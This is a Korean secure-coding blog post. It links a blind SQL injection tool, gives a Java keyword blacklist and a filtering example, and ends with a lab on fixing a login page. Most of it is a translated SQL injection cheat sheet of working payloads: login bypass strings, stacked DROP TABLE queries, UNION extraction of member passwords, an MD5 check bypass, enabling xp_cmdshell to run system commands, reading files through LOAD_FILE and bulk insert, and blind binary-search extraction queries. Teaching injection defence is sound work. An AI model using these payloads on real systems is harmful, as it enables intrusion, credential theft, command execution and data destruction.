Blind SQL Injection 공격툴


 

Pangolin 다운로드

http://thehackernews.com/2011/04/pangolin-v323-released-download-now.html

 

 pangolin_free_edition_3.2.3.1105.zip

 

 

 


SQL 인젝션 취약점 제거를 위해 입력 필터링이 요구되는 특수 문자 및 구문


  

‘              union  

”             select  

–             insert  

#            drop  

(             update  

)             from  

;             where  

@           join  

=            substr (oracle)  

*            user_tables (oracle)  

/            user_table_columns (oracle)  

+            subsring (ms-sql)  

              information_schema (mysql)  

              sysobjects (ms-sql)  

              table_schema (mysql)  

              declare (ms-sql)  


  

SQL Injection  방지를 위한 필터링 정책 (블랙리스트)



public static string[] blackList = {"--",";--",";","/*","*/","@@","@",
                                      
"char","nchar","varchar","nvarchar",
                                
       "alter","begin","cast","create","cursor","declare","delete","drop","end",

                                       "exec","execute","fetch","insert","kill","open",
                                       
"select", "sys","sysobjects","syscolumns",
                                       
"table","update"};


 


필터링 처리를 위한 프로그래밍 예제


 

// 특수문자 필터링을 위해 특수문자를 정의

Pattern evilChars = Pattern.compile("['\\\-#()@;=*/+]);

 

// 특수문자는 모드 공백으로 치환

test_str = evilChars.matcher(test_str).replaceAll("");

 

// 특수 구문 필터링 (데이터베이스가 Oracle 인 경우)

test_str_low= test_str.toLowerCase();

if(test_str_low.contains("union") || test_str_low.contains("select") || test_str_low.contains("insert") || test_str_low.contains("drop") || test_str_low.contains("update") || test_str_low.contains("delete") || test_str_low.contains("join") || test_str_low.contains("from") || test_str_low.contains("where") || test_str_low.contains("substr") || test_str_low.contains("user_tables") || test_str_low.contains("user_tab_columns"))

{

test_str = test_str_low;

test_str = test_str.replaceAll("union", "q-union");

test_str = test_str.replaceAll("select", "q-select");

test_str = test_str.replaceAll("insert", "q-insert");

test_str = test_str.replaceAll("drop", "q-drop");

test_str = test_str.replaceAll("update", "q-update");

test_str = test_str.replaceAll("delete", "q-delete");

test_str = test_str.replaceAll("and", "q-and");

test_str = test_str.replaceAll("or", "q-or");

test_str = test_str.replaceAll("join", "q-join");

test_str = test_str.replaceAll("substr", "q-substr");

test_str = test_str.replaceAll("from", "q-from");

test_str = test_str.replaceAll("where", "q-where");

test_str = test_str.replaceAll("declare", "q-declare");

test_str = test_str.replaceAll("openrowset", "q-openrowset");

test_str = test_str.replaceAll("user_tables","q-user_tables");

test_str = test_str.replaceAll("user_tab_columns","q-user_tab_columns");

test_str = test_str.replaceAll("table_name","q-table_name");

test_str = test_str.replaceAll("column_name","q-column_name");

test_str = test_str.replaceAll("row_num","q-row_num");

}




 

SQL Injection Cheat Sheet


[원문출처]

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

 

[번역문출처]

http://ragonfly.tistory.com/entry/SQL-Injection-Cheat-Sheet-%EB%B2%88%EC%97%AD

 

[링크] 데이터 베이스별 SQL Injection Cheat Sheet 

http://pentestmonkey.net/category/cheat-sheet/sql-injection


 

일반적으로 사용되는 Mysql MS-SQL, 약간의 ORACLE PostgreSQL이 사용된다. 대부분의 샘플들이 특정상황에서 정확하지 못하다. 대부분의 실환경에서 예상밖의 sql 문장, 예기치 않은 상황, 다양한 코드 기반, 괄호 때문에 코드를 변환해야 한다.

 

샘플들은 독자가 가능한 공격의 기초 지식을 얻도록 하며 모든 섹션에서 그것에 대한 약간의 정보를 포함할 것이다.

 

M :  MySQL 

S :  SQL Server

P :  PostgreSQL

O :  Oracle

+ :  Possibly all other databases 

 

예제;  

(MS)의 뜻 : MySQL  SQL Server 

(M*S)의 뜻 : 오직 몇몇 버전의 MySQL 또는 특별한 조건 관계가 있는 기록과 SQL Server

 

목차

About SQL Injection Cheat Sheet

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Line Comments

SQL Injection Attack Samples

Inline Comments

Classical Inline Comment SQL Injection Attack Samples

MySQL Version Detection Sample Attacks

Stacking Queries

Language / Database Stacked Query Support Table

About MySQL and PHP

Stacked SQL Injection Attack Samples

If Statements

MySQL If Statement

SQL Server If Statement

If Statement SQL Injection Attack Samples

Using Integers

String  Operations

String Concatenation

Strings without Quotes

Hex based SQL Injection Samples

String Modification & Related

Union Injections

UNION – Fixing Language Issues

Bypassing Login Screens

Enabling xp_cmdshell in SQL Server 2005

Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.

 

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments


Line Comments(주석)

주석은 남은 쿼리를 무시한다. 주석은 일반적으로 쿼리의 남은 부분을 무시하며, 무시된 구문은 처리될 수 없다.

 (SM)  DROP sampletable;--

        (M)    DROP sampletable;#

 

 

주석 SQL Injection 샘플

Username: admin'--

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

 

이 쿼리를 통해 admin user로 로그인 할 수 있다. 왜냐면 --뒤의 SQL 쿼리가 무시되기 때문이다.


 

Inline Comments

Inline comment은 쿼리의 중간을 주석처리 하거나 또는 패턴탐지 우회, 공백문자 우회, 코드 난잡화, 데이터베이스 버전탐지 등을 위해 사용될 수 있다.

     

       /*Comment Here*/ (SM)

DROP/*주석*/sampletable

DR/**/OP/*패턴 우회탐지*/sampletable

SELECT/*공백문자 우회*/password/**/FROM/**/Members

 

 /*! MYSQL Special SQL */ (M)

이것은 mysql의 특별한 주석구문이다. 이것으로 MySQL의 버전을 파악할수 있다. 이 주석안에 코드를 삽입하면, MySQL 에서 코드가 실행된다. 서버의 버전이 지원되는 버전보다 높다면 코드를 실행할 수 있다.
SELECT /*!32302 1/0, */ 1 FROM tablename

SELECT /*!32302 database(), */ 1 FROM tablename

SELECT /*! database(), */ 1 FROM tablename

SELECT /*! version(), */ 1 FROM tablename

 

 

Inline comment를 이용한 고전적인 SQL Injection 예제

ID: 10; DROP TABLE members /*

쿼리의 끝에서 간단하게 쿼리를 제거한다. 10; DROP TABLE members -- 와 같다.

 

SELECT /*!32302 1/0, */ 1 FROM tablename

0 나누기 에러가 발생하면 MySQL 버전이 3.23.02보다 높은것이다.

 

 

MySQL Version Detection Sample Attacks

ID: /*!32302 10*/

ID: 10
위와 같은 결과가 돌아온다면 MySQL 버전이 3.23.02보다 높은것이다.

SELECT /*!32302 1/0, */ 1 FROM tablename
0 
나누기 에러가 발생하면 MySQL 버전이 3.23.02보다 높은것이다.


 

Stacking Queries

하나의 트랜잭션에서 하나의 쿼리보다 많은 쿼리 실행하기. 이것은 모든 인젝션 포인트, 특히SQL Server의 백엔드 어플리케이션에서 사용된다.

 

; (S)
SELECT * FROM members; DROP members—

 

쿼리를 종료하고 새로운 쿼리를 시작한다.

 

Language / Database Stacked Query Support Table

녹색: 지원, dark gray: 지원안함, light gray: 알수없음

 

 

 

MySQL  PHP에 대해


PHP – MySQL은 스택 쿼리를 지원하지 않는다. 자바는 스택 쿼리를 지원하지 않는다(오라클의 경우 틀림없다, 다른 데이터베이스들의 경우 전적으로 그렇지는 않다). 정상적으로 Mysql은 스택 쿼리를 지원하지만, database layer의 많은 설정 때문에 PHP-MySQL에서 두번째 쿼리를 실행하거나 MySQL클라이언트에서 이것을 지원하는 것은 문제가 되지 않는다.  

 

Stacked SQL Injection Attack Samples

ID: 10;DROP members --

SELECT * FROM products WHERE id = 10; DROP members --

이것을 통해 정상적인 쿼리문을 실행한 후에 members 테이블을 DROP 할 수 있다.

 

If 명령문

IF 명령문을 통해 응답을 받는다. 이것은 blind sql injection의 중요한 키 포인트이며, 눈에 보지이 않고 정밀한 테스트를 하는데 사용할 수 있다.


 

MySQL If 명령문

IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')

 

SQL Server If 명령문

IF condition true-part ELSE false-part (S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'

 

If 명령문 SQL Injection 공격 예제

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)

 

지금 로그인한 유저가 sa dbo가 아니면 0나누기 에러가 발생한다.

 

 

정수형의 사용

정수형을 사용하여 gagic_quotes와 같은 종류의 필터, 또는 웹 방화벽을 우회할 수 있다.

0xHEXNUMBER (SM)

SELECT CHAR(0x66) (S)
SELECT 0x5045 (
이것은 정수형이 아니고 16진수형태의 문자열이다
) (M)
SELECT 0x50 + 0x45 (
이것이 정수형이다!) (M)

 

 

문자열  연산

문자열도 연산이 된다. 이를 통해 쿼터를 사용하지 않거나 패턴탐지를 우회 또는 백엔드 시스템을 결정하는 인젝션으로 발전시킬수 있다.

 


문자열 연결

+ (S)
SELECT login + '-' + password FROM members

 

|| (*MO)
SELECT login || '-' || password FROM members



*About MySQL "||";
MySQL
 ANSI 모드로 동작한다면 ||을 사용하는 것이 가능하다. 그러나 다른종류의 MySQL을 사용한다면 ‘logical operator’ 와 함께 0을 반환하기 때문에 Mysqlconcat()함수를 사용하는 것이 더 좋은 방법이다.

 

CONCAT(str1, str2, str3, ...) (M)


문자열을 연결시키는 방법
SELECT CONCAT(login, password) FROM members

 

쿼터가 없는 스트링

스트링을 직접적으로 사용 할 수도 있으나 CHAR()(MS) CONCAT()(M)을 통해 quotes가 없는 문자열 생성이 가능하다.

 

0x457578 (M) HEX로 표현된 스트링 
SELECT 0x457578

MySQL에서 사용할 수 있다.

 

Mysql에서 헥스로 변환되는 코드를 아래와 같이 생성할 수 있다.
SELECT CONCAT('0x',HEX('c:\\boot.ini'))

 

CONCAT의 사용

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
이것은 “KLM”을 반환한다.

 

SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
”KLM”
을 반환한다.


 

Hex based SQL Injection Samples

SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

이 쿼리는 c:\boot.ini 내용을 보여준다


 

문자열 변환 & Related

ASCII() (SMP) 
가장 왼편의 문자의 아스키값을 반환한다. Blind Injection에서 사용해야 한다. 해당 함수를 사용할 수 있다.

SELECT ASCII('a')

97반환

 

CHAR() (SM) 
아스키의 정수형을 변환한다. 
SELECT CHAR(64)

 

 

 

Union Injections


Union을 사용하여 복수 테이블에 SQL 을 질의할 수 있다. 악의적인 쿼리를 통해 다른 테이블의 값을 출력할 수 있다.

 

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

뉴스 테이블과 멤버 테이블에서 결합하여 리턴할 수 있다.

 

다른 예제:

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1 --

 

UNION – Fixing Language Issues

다양한 환경(테이블, 필드, 결합테이블, db 환경 등) 때문에Union을 통해 인젝션을 할 때 자주 에러가 발생한다. 아래의 함수들을 사용하여 이 문제를 해결할 수 있다. 이것은 매우 드문상황이지만 당신이 일본, 러시아, 터키등과 관련된 사람이라면 이러한 에러를 볼수도있다.

 

SQL Server (S) 
COLLATE SQL_Latin1_General_Cp1254_CS_AS 
나 다른 유효한 값 -  SQL 서버 문서에서 검증된. – 필드를 사용한다.

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

 

MySQL (M) 
Hex() 
함수를 사용하여 모든 것이 가능하다.

 

 

 

로그인 페이지 인증우회 (SMO+)


SQL Injection 101, Login tricks

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

....

다른 사용자로 로그인하기 (SM*) 
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

오래된 버전의 MySQL union 을 지원하지 않는다.

 

 

 

Bypassing second MD5 hash check login screens


어플리케이션의 첫번째 레코드의 이름과 MD5를 리턴받아 입력한 MD5 해쉬와 비교한다면 약간의 트릭을 이용하여 인증을 우회할 수 있다. 패스워드와 MD5로 암호화된 패스워드를 union 할 수 있다. 어플리케이션은 공격자가 제공한 database 출력값과 공격자가 입력한 패스워드를 비교할 것이다.

 

 

Md5 해쉬체크 인증우회 예제

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)



Error Based – 컬럼 이름 찾기


Having by를 통한 컬럼 이름 찾기 - Error 기반 (S)

아래와 같다

' HAVING 1=1 --

' GROUP BY table.columnfromerror1 HAVING 1=1 --

' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --

' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --

위와 같은 과정을 반복하고 더 이상 출력되는 에러가 없을 때 작업은 끝난다.

 

 

Select 쿼리의 order by를 통한 많은 컬럼 찾기 (MSO+)

Order by를 통해 컬름의 개수를 찾으면 Union select의 속도를 높일 수 있다.

ORDER BY 1--

ORDER BY 2--

ORDER BY N--

에러가 발생할 때까지 지속하면, 에러를 통해 select된 컬럼의 개수를 파악할 수 있다.

 

 

Data types, UNION, etc.

Hints,

UNION non-distinct 필드와 유사하기 때문에 항상 ALL과 함께 사용한다 디폴트로 UNIONdistinct으로 기록을 가져올려고 시도하기 때문이다.

- 왼쪽 테이블에서 -1을 사용하여 필요없는 데이터를 가져오거나, 존재하지 않는 값을 검색하는 쿼리를 요청한다(where 절에서 injection이 발생하는 경우). 한번에 하나의 값만 가져올 사용된다..

NULL을 사용하면 union 인젝션 시 대부분 문자형, 정수형, date등을 대신할수 있다.

블라인드 환경에서 DB 또는 어플리캐이션에 대한 에러정보를 알고 있어야 한다. 왜냐하면 ASP.NET는 일반적으로 NULL에 대한 에러를 출려하기 때문이다. (왜냐하면 일반적으로 개발자들이 NULL 에 유저네임 필드 안의 NULL을 생각하지 않기 때문이다.)


 

컬럼 타입 찾기

' union select sum(columntofind) from users-- (S) 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate

인자로써 varchar 데이터 타입을 취할 수 없다


만약 에러가 발생하지 않는다면 해당 컬럼이 숫자라는 뜻이다.

 

 

또한 CAST() CONVERT()를 사용할 수도 있다.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

 

       

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-

에러 없음- 구문이 옳다. MS SQL Server를 사용한다.

 

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-

에러 없음 첫번째 컬럼이 정수형이다.

 

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --

에러발생! – 두번째 컬럼이 정수형이 아니다.

 

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-

에러 없음  두번째 컬럼은 문자형이다

 

11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-

에러! – 세번째 컬럼이 정수형이 아니다

 

Microsoft OLE DB Provider for SQL Server error '80040e07'

int형으로의 명시적인 변환이 허가되지 않았음

 

Convert() 에러 전에 union의 목표 에러를 얻어야 한다. 그다음에 convert()를 시작한다.


간단한 Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

 


함수사용/ 정보 모으기 / 내장 프로시져 / Bulk SQL Injection Notes


@@version (MS)

Database의 버전과 SQL 서버의 자세한 정보. 이정보는 변함이 없다. Select를 통해 다른 컬럼에 포함할 수 있고 테이블 이름을 알 필요도 없다. 또한 insert update 명령을 통해 함수를 사용할 수도 있다.

 

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

 

Bulk Insert (S)

파일의 내용을 테이블에 넣을수 있다. 만약 웹 어플리케이션의 경로를 모른다면 IIS(6버전)의 메타베이스 파일을(%systemroot%\system32\inetsrv\MetaBase.xml)을 읽어 IIS의 경로를 확인할 수 있다.

 

Create table foo( line varchar(8000) )

bulk insert foo from 'c:\inetpub\wwwroot\login.asp'

 

임시테이블을 삭제하고 다른 파일로 이 과정을 반복한다.

 

 

BCP (S)

텍스트파일을 쓸수있다. 이 함수의 사용을 통해 로그인페이지를 쓸수있다.

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa-Pfoobar

 

 

 

VBS, WSH in SQL Server (S)

SQL 서버에서 VBS WSH 를 사용하면 ActiveX를 사용할수 있다.

declare @o int 
exec sp_oacreate 'wscript.shell', @o out 
exec sp_oamethod @o, 'run', NULL, 'notepad.exe' 
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --



xp_cmdshell을 통한 시스템 명령실행 (S)

잘 알려진 트릭으로 sql server 2005에서는 기본적으로 꺼져있다. 사용하려면 어드민으로 접근해야 한다.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

 

간단한 ping check

방화벽이나 스니퍼로 확인할 수 있다.

EXEC master.dbo.xp_cmdshell 'ping <ip address>'

You can not read results directly from error or union or something else.

 

 

Sql 서버의 특별한 테이블 (S)

에러메세지
master..sysmessages

 

링크된 서버들
master..sysservers

 

패스워드(2000 and 20005 모두 크랙가능하다, 둘은 비슷한 해슁 알고리즘을 사용한다 ) 
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins

 

 

More Stored Procedures for SQL Server (S)

1.       Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'

2.       Registry Stuff (xp_regread)

1.       xp_regaddmultistring

2.       xp_regdeletekey

3.       xp_regdeletevalue

4.       xp_regenumkeys

5.       xp_regenumvalues

6.       xp_regread

7.       xp_regremovemultistring

8.       xp_regwrite 
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' 
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

3.       Managing Services (xp_servicecontrol)

4.       Medias (xp_availablemedia)

5.       ODBC Resources (xp_enumdsn)

6.       Login mode (xp_loginconfig)

7.       Creating Cab Files (xp_makecab)

8.       Domain Enumeration (xp_ntsec_enumdomains)

9.       Process Killing (need PID) (xp_terminate_process)

10.    Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

11.    Write text file to a UNC or an internal path (sp_makewebtask)

 

 

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL) 
IS_SRVROLEMEMBER (Transact-SQL) 
OPENDATASOURCE (Transact-SQL) 

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

insert쿼리에서는 서브쿼리를 사용할 수 없다.

 

 

LIMIT (M) or ORDER (MSO)를 사용한 SQL Injection

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

만약 인젝션이 LIMIT쿼리의 두번째에서 된다면  주석을 사용하여 그 쿼리를 끝내고 union injection을 할 수 있다.


Shutdown SQL Server (S)

Sql server 2005에서 ';shutdown --  기능이 꺼져있고 xp_cmdshell이 가능하다면

SQL Sever 2005에서는 잠재적인 위험을 가지고있는 xp_cmdshell과 비슷한 저장 프로시저들을 비활성화 시켜두었다.

어드민 권한을 가지고 있다면 이것들은 활성화 시킬 수 있다.

 

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

 

 

Sql 서버 구조 파악 (S)


유저 테이블 찾기

SELECT name FROM sysobjects WHERE xtype = 'U'

 

컬럼네임 찾기

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

 

Moving records (S)

l        WHERE NOT IN 또는 NOT EXIST를 사용한 변경

... WHERE 에서 NOT IN ('First User', 'Second User') 사용
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one

 

l        Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int 

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

 

Detailed Article : Fast way to extract data from Error Based SQL Injections

 

 

 

Blind SQL Injections

좋은 어플리케이션에서는 페이지에서 응답에러를 확인하지 못하게 하기때문에 union 이나 error베이스 공격을 할 수 없다. 그래서 다른 방식의 데이터로 blind injection을 할 수 있는데 blind injection에는 두가지 방법이 있다.

 

일반적인 블라인드. 응답값을 볼 수 없지만 HTTP status 코드에서 결과값을 획득할 수 있다.

 

다른 방법. 어떠한 종류의 결과값도 확인할 수 없다.  함수 같은 것들을 통해 인젝션을 해야한다.

일반적은 블라인드환경에서 if명령어나 where쿼리 인젝션을 사용한다. 다른 블라인드 방법은 대기 함수나 분석 응답시간을 필요로 한다.  SQL 서버의 WAIT FOR DELAY, MySQL BENCHMARK(), POstgreSQL pg_sleep(10), 오라클에서의 PL/SQL을 사용할 수 있다.

 

실질적이고 비트 조합 Blind SQL Injection 공격 예제


blind 인젝션 툴로 벡엔드 어플리케이션이나 테이블명을 공격할 때, 이와 같은 결과를 얻을수 있다.이 요청은 테이블 이름의 첫번째 문자를 가져온다. Sql 쿼리는 자동화 되있기 때문에 문자조합보다 더 많이 요청된다. Char형 바이너리 서치 알고리즘을 통해 아스키를 요청한다.

 

TRUE and FALSE flags 를 통해 참과 거짓 값이 반환된다.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80—


 

마지막 2개의 쿼리가 실패할 때 우리는 첫번째 캐릭터의 아스키 값이 80이라는걸 알수있다. 이것은 첫번째 캐릭터가 ‘P’라는 것을 의미한다.

이것은 바이너리 서치 알고리즘에 의한 블라인드 인젝션 공격법이다. 다른 방법은 data bit bit를 읽는 방법이 있다. 양쪽 모두 다른 상태에서 효과적일수 있다.

 



SQL 인젝션 LAB


openeg 프로젝트의 로그인 화면이 가지고 있는 SQL 인젝션 취약점을 제거한다.


openeg 프로젝트 > Java Resources > src > kims.injection.test 패키지에 3개의 자바 소스 복사

 

LoginDAO.java

 

LoginService.java

 

LoginServlet.java

 

SQLInjectionException.java

 

 

openeg프로젝트 > WebContent > jsp 파일 복사

 

test_form.jsp

 

sql_injection.jsp

 

openeg프로젝트 > Java Resources > src  > openeg.filter

 

 

openeg프로젝트 > WebContent > WEB-INF > web.xml  수정

  

SQLFilter.txt

 

'보안 > 웹 해킹/보안' 카테고리의 다른 글

국내 주요 해킹 사례  (0) 2014.05.09
웹 쉘  (0) 2013.10.31
[시큐어코딩실습] SQL 인젝션 취약점 제거  (0) 2013.10.21
Logparser 사용법  (0) 2013.10.18
AWStats를 이용한 웹로그 분석  (0) 2013.10.18
웹서비스란?  (0) 2013.10.17
블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹

티스토리 툴바